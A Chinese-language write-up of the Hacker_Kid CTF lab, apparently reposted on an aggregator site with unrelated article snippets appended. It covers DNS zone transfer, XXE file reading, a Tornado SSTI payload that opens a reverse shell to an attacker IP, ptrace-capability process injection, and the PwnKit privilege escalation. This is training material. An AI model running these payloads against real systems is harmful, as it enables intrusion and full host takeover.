5、Hacker_Kid-v1.0.1

中等难度 目标root权限

先进行一波IP地址发现

netdiscover -i eth0 -r 192.168.1.1/24

发现存在的靶机ip

进行一波端口的探测

发现是一个apache的服务和一个tornado的网站

这里有个细节部分,53端口常见的情况都是走的udp协议做的域名解析,这里查询出来是tcp协议,DNS里面的tcp协议一般用来做电脑上服务器与服务器之间的数据同步、区域传输(zone transfers)和更新之类的操作,udp协议用来做域名解析。

访问80端口以及9999端口

首先尝试一下这个9999端口的弱口令,尝试了一下常见的没有成功,在80页面看一看

好像有什么提示

顺便扫描一下目录文件

网站上面还有几个点击的地方

直接点击不会跳转过去,我扫描目录的时候扫描出app.html把这个#删除就可以直接访问了功能点好多。

摸了一圈这个功能点好像都失效了,回到前面的那个html的源码提示的地方有个page_no参数说什么使用get请求尝试一下

输入了页面有显示,喊我挖深一点

后面接参数的值,这里可以猜测,因为是page那么很有可能是数字,那么就跑一下

在值为21的时候出现了更多的提示,给了个域名hackers.blackhat.local

它说它留了很多的子域名作为后门,然后给出了一个子域名,这里要说到域名访问和使用ip访问是有不同的情况的,常见的直接访问ip和访问域名解析到的是同一个网站,但是也有一种可能是做了虚拟主机服务,不同的域名访问可以得到不同的网站内容。

那么就修改一波hosts文件

这里记得将子域和域名都做映射

不过当使用这个子域去访问的时候任然得到了原来ip访问的结果,看来不是这里

然后结合它一直在提示的DIG dig命令,其实我没有用过这个命令,所以也没有想到这个东西,再结合之前它一再提起的域名以及开放的53端口和前面说到的tcp,这个blackhat.local域名下面可能还隐藏着其他的子域名

看了看dig的使用,有一个axfr的使用方式

基本查询dig example.com
这个命令会返回example.com的所有DNS记录。
指定记录类型dig MX example.com
这个命令会返回example.com的MX(邮件交换)记录。
使用@符号指定DNS服务器dig @8.8.8.8 example.com
这个命令会使用Google的公共DNS服务器(8.8.8.8)来查询example.com的记录。
递归查询dig +trace example.com
这个命令会执行递归查询,显示从根DNS服务器到目标域名的完整解析过程。
显示统计信息
:
dig +stats example.com
这个命令会在输出的最后显示统计信息,如查询时间等。
使用TCP协议dig +tcp example.com
默认情况下,dig 使用UDP协议进行查询。这个命令强制dig使用TCP协议。
指定查询类dig +nocmd +nostats +noquestion +answer -t CH example.com
这个命令会显示查询的权威记录(CH代表CHAOS类)。
使用AXFR进行区域传输
:
dig axfr example.com @ns.example.com
这个命令尝试执行一个AXFR区域传输,从example.com的名称服务器ns.example.com获取所有记录。请注意,这通常需要适当的权限。
使用搜索域和搜索列表dig search example.com @ns.search.com
这个命令会在指定的搜索域中查找example.com的记录。

网络断了一下,靶机新地址 192.168.100.39

这其实属于信息泄露,DNS服务器不应该将自己的解析信息展示出来的,那么从上面返回的域名中可以找到新的域名,拿着这几个新的域名先做一下hosts映射然后再访问一下

发现在访问http://hackerkid.blackhat.local/ 有了新的页面

这里注意一个小细节,那就是换了不同的域名配合之前扫到的那个9999端口也可以去尝试,毕竟不同域名加999端口可以又会有不同的页面。

简单测试一下这个网页有没有一些漏洞,一个注册框,没有明显的SQL注入,抓包发现使用的xml进行传输的数据,那么可以考虑xxe

也是很简单的属于直接引用的外部实体注入类型

看了一下这个saket可以登录,然后既然可以文件读取,那么就要想办法读取一些有价值的东西,比如尝试读取公私钥,读取这个saket的家目录下面的一些隐藏文件

另外网站使用的是php所以可以搭配php伪协议来实现文件内容的读取,有些文件不将他变为base64还读不出来。

发现访问了一圈好多东西都读不到,不过读取到了.bashrc 这是一个文件是 Bash shell 的一个配置文件,它保存了用户级的配置信息,这些配置会在每次启动新的 Bash 会话时被加载。这个文件通常位于用户的主目录下,例如 /home/username/.bashrc

解码后发现最后面有个

#Setting Password for running python app

username="admin"

password="Saket!#$%@!!"

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples# If not running interactively, don't do anything
case $- in*i*) ;;*) return;;
esac# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth# append to the history file, don't overwrite it
shopt -s histappend# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; thendebian_chroot=$(cat /etc/debian_chroot)
fi# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" inxterm-color|*-256color) color_prompt=yes;;
esac# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yesif [ -n "$force_color_prompt" ]; thenif [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then# We have color support; assume it's compliant with Ecma-48# (ISO/IEC-6429). (Lack of such support is extremely rare, and such# a case would tend to support setf rather than setaf.)color_prompt=yeselsecolor_prompt=fi
fiif [ "$color_prompt" = yes ]; thenPS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
elsePS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1";;
*);;
esac# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; thentest -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"alias ls='ls --color=auto'#alias dir='dir --color=auto'#alias vdir='vdir --color=auto'alias grep='grep --color=auto'alias fgrep='fgrep --color=auto'alias egrep='egrep --color=auto'
fi# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.if [ -f ~/.bash_aliases ]; then. ~/.bash_aliases
fi# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; thenif [ -f /usr/share/bash-completion/bash_completion ]; then. /usr/share/bash-completion/bash_completionelif [ -f /etc/bash_completion ]; then. /etc/bash_completionfi
fi#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

这账号密码有点眼熟,可能就是那个9999端口的服务的账号密码,然后尝试后并不是的

。。。原来是这个密码只是name是saket,那个admin是用来迷惑的。

进去之后就是这样的

这个在说你的名字是什么,其实就是在隐隐约约的告诉我们需要一个参数name,但是这个也是猜测的。

输入参数name=1页面回显了1,有一种xss的感觉,但是只是xss肯定是没有用的。可以怀疑会不会是SSTI因为这个端口开放的服务是tornado的服务。

通过检测{{2-1}}的时候进行了计算页面回显的1

tornado框架的SSTI我也不怎么了解,不过SSTI的打法我倒是知道,不过我之前遇到的都是先获取基类什么什么的一步一步获取到可以执行命令的类然后去执行。但是这里直接import os 然后os.system我倒是不知道,另外这里还得url编码一下

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.100.23/4455 0>&1"')}}

url编码:

        %7b%25+import+os+%25%7d%7b%7bos.system(%27bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.100.23%2f4455+0%3e%261%22%27)%7d%7d

看了一眼不在docker中

然后看了一眼history的信息

看着有些奇怪的东西

然后这里使用了一个capabilities提权方式,这是我没有听说过的。以及CVE-2021-4034通杀漏洞,这个靶机主要还是考察的那个capabilities提权的方式,至于这个CVE只是碰巧。

使用命令查看/sbin/getcap -r / 2>/dev/null

可以看到这个ptrace是有可能进行进程注入实现权限提升的

exp脚本:https://www.cnblogs.com/zlgxzswjy/p/15185591.html

然后寻找一个root权限的进程,使用命令ps -eaf|grep root

也可以直接使用脚本批量进行注入尝试

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 injection.py $i; done

就找一个apache的进程进行注入

然后将脚本上传上去使用python2.7进行执行注入

此脚本执行成功后会创建一个后门在5600端口

然后可以使用nc直接进行连接了

另外使用CVE-2021-4034进行提权,使用脚本:GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

直接将编译好的PwnKit传入靶机,然后赋予权限后./PwnKit运行

确实也可以直接提取至root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/46263.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ARM】CCI缓存一致性整理

目录 1.CCI500提供的功能 2.CCI500在SOC系统中所处的位置​编辑 3.CCI500内部结构​编辑 4.功能描述 1.CCI500提供的功能 2.CCI500在SOC系统中所处的位置 3.CCI500内部结构 Transaction Tracker(TT)是用来解决一致性和ordering问题的,它…

完成SSH连接与端口映射并运行hello_world.py以及创建conda环境

完成SSH连接与端口映射并运行hello_world.py 第一步: 使用vscode打开连接开发机如图 第二步: 端口映射 ssh -p 37367 rootssh.intern-ai.org.cn -CNg -L {本地机器_PORT}:127.0.0.1:{开发机_PORT} -o StrictHostKeyCheckingno 如: ssh -…

牛客周赛51 F(静态区间最大连续子段和)

题面 题目地址 原题是SPOJ 1043。本文中我介绍的是维护前缀和的写法&#xff0c;如果你想要了解其他写法&#xff0c;可以搜索原题题解。 题目大意&#xff1a; 给定长度为n的数组a&#xff0c;q次查询&#xff0c;每次询问[l,r]中连续子段和的绝对值最大是多少 1 < n, q&l…

SpringBoot整合 Kaptcha 验证码

文章目录 1 Kaptcha 验证码1.1 引言1.2 Kaptcha1.2.1 pom.xml1.2.2 配置类1.2.2.1 Redis配置类RedisConfig1.2.2.2 验证码配置类KaptchaConfig 1.2.3 验证码控制层1.2.4 登录控制层 1 Kaptcha 验证码 1.1 引言 为防止验证系统被暴力破解&#xff0c;很多系统都增加了验证码效…

优化静止不动的GPS点(JS版)

1.理论依据: 连续的GPS点中&#xff0c;静止不动的一段或者多段这样的点序列。把这些点序列处理成一个点&#xff0c;也就是拿这些序列的第一个点即可。理论依据如下&#xff1a;从第二个点开始&#xff0c;每个点都和第一个点进行距离计算和比较。至少比较N个点。当百分之M的…

maven多模块项目打包构建的配置

使用背景&#xff1a; springbootmaven构建的多模块项目&#xff0c;没有使用springcloud&#xff0c;根项目下有多个module&#xff0c;一个module有springboot启动类&#xff0c;其他module没有启动类&#xff0c;作为module被有springboot启动类的module所引用。 1.根目录…

Win11任务栏当中对 STM32CubeMX 的堆叠问题

当打开多个 CubeMX 程序的时候&#xff0c;Win11 自动将其进行了堆叠&#xff0c;这时候就无法进行预览与打开。 问题分析&#xff1a;大部分ST的工具都是基于 JDK 来进行开发的&#xff0c;Win11 将其识别成了同一个 Binary 但是实际上他们并不是同一个&#xff0c;通过配置…

redis源码分析之底层数据结构(一)-动态字符串sds

1.绪论 我们知道redis是由c语言实现的&#xff0c;c语言中是自带字符串的&#xff0c;但是为什么redis还要再实现自己的动态字符串呢&#xff0c;这种动态字符串的底层数据结构是怎样的呢?接下来我们带着这些问题来看一看redis中的动态字符串sds。 2.sds的组成 struct __at…

pico+unity3d项目配置

重点&#xff1a;unity编辑器版本要和pico的sdk要求一致、比如&#xff1a; 对于 Unity 2022.1.14 及以上版本&#xff0c;若同时在项目中使用 URP、Linear 色彩空间、四倍抗锯齿和OpenGL&#xff0c;会出现崩溃。该问题待 Unity 引擎解决。对于 Unity 2022&#xff0c;若同时…

多个版本JAVA切换(学习笔记)

多个版本JAVA切换 很多时候&#xff0c;我们电脑上会安装多个版本的java版本&#xff0c;java8&#xff0c;java11&#xff0c;java17等等&#xff0c;这时候如果想要切换java的版本&#xff0c;可以按照以下方式进行 1.检查当前版本的JAVA 同时按下 win r 可以调出运行工具…

Pytorch张量

在conda的环境中安装Jupyter及其他软件包 Pytorch 建立在张量&#xff08;tensor&#xff09;之上&#xff0c;Pytorch张量是一个 n 维数组&#xff0c;类似于 NumPy 数组。专门针对GPU设计&#xff0c;可以运行在GPU上以加快计算效率。换句话说&#xff0c;Pytorch张量是可以运…

wget介绍

wget介绍 wget是一个广泛使用的命令行工具&#xff0c;主要用于从网络上自动下载文件。它支持HTTP、HTTPS和FTP等多种协议&#xff0c;具有递归下载、断点续传、限速下载等功能&#xff0c;使其成为一个强大而灵活的下载工具。以下是对wget的详细介绍和使用方法的概述&#xf…

解决QT creator中文乱码问题

1.首先设置文本编辑器为UTF-8 先在工具-选项-文本编辑器-behavior部分选择文件编码为UTF-8&#xff0c;紧接着是选择“如果编码是UTF-8则添加”&#xff0c;如下图 2.设置ext code for tools 为system 具体解决办法是 工具-选项-环境-interfaces这一栏有一个“Text code for to…

最新JJWT 0.12.6学习

本文参考的是jjwt官方github&#xff0c;链接在此&#xff0c;本文会持续跟进jjwt的最新版本 GitHub - jwtk/jjwt: Java JWT: JSON Web Token for Java and Android 简介 JJWT&#xff08;Java JWT&#xff09;是Java平台上相当流行的用于生成Json Web Token的库&#xff0c…

DP讨论——桥接模式

学而时习之&#xff0c;温故而知新。 敌人出招&#xff08;使用场景&#xff09; 客户不断变化的需求是敌人&#xff0c;加个需求&#xff0c;再加个需求&#xff0c;然后内部实现不断新增类。 你出招 采用桥接模式。 一个是桥梁对象&#xff0c;另一个是业务实现类。客户通…

云计算安全需求分析与安全保护工程

云计算基本概念 云计算&#xff08;Cloud Computing&#xff09;是一种通过互联网提供计算资源和服务的技术。它允许用户按需访问和使用计算资源&#xff0c;如服务器、存储、数据库、网络、安全、分析和软件应用等&#xff0c;而无需管理底层基础设施。以下是云计算的基本概念…

快捷:通过胶水语言实现工作中测试流程并行、加速

通过胶水语言实现工作中测试流程并行、加速 通过胶水语言实现工作中测试流程并行、加速工作场景&#xff08;背景&#xff09;问题抽象&#xff08;挑战&#xff09;如何做&#xff08;行动&#xff09;获得了什么&#xff08;结果&#xff09;后记相关资源 通过胶水语言实现工…

代码随想录(day6)哈希表-求两个数组的交集

什么是红黑树&#xff0c;参考链接【数据结构】史上最好理解的红黑树讲解&#xff0c;让你彻底搞懂红黑树-CSDN博客 题目&#xff1a; 注意&#xff1a;字典用{}符合、元组用()符号、列表用[]符号 table.get(num,0)1的意思 class Solution(object):def intersection(self, n…

qt 用代码添加 QPushButton

在 Qt 中使用代码添加 QPushButton 控件是一个基本的操作。以下是一个简单的例子&#xff0c;展示了如何在 Qt 的一个继承自 QWidget 或 QMainWindow 的类中添加一个 QPushButton&#xff1a; 首先&#xff0c;你需要包含必要的头文件&#xff1a; #include <QWidget> /…

【C++】——入门基础

文章目录 命名空间输入与输出缺省参数函数重载引用内敛函数指针控制nullptr 命名空间 当C语言遇到命名冲突时&#xff0c;很难解决&#xff0c;所以C关键字namespace就是针对这种问题的。 如何使用命名空间内的成员呢&#xff1f; 加命名空间名称及限定符&#xff08; &#…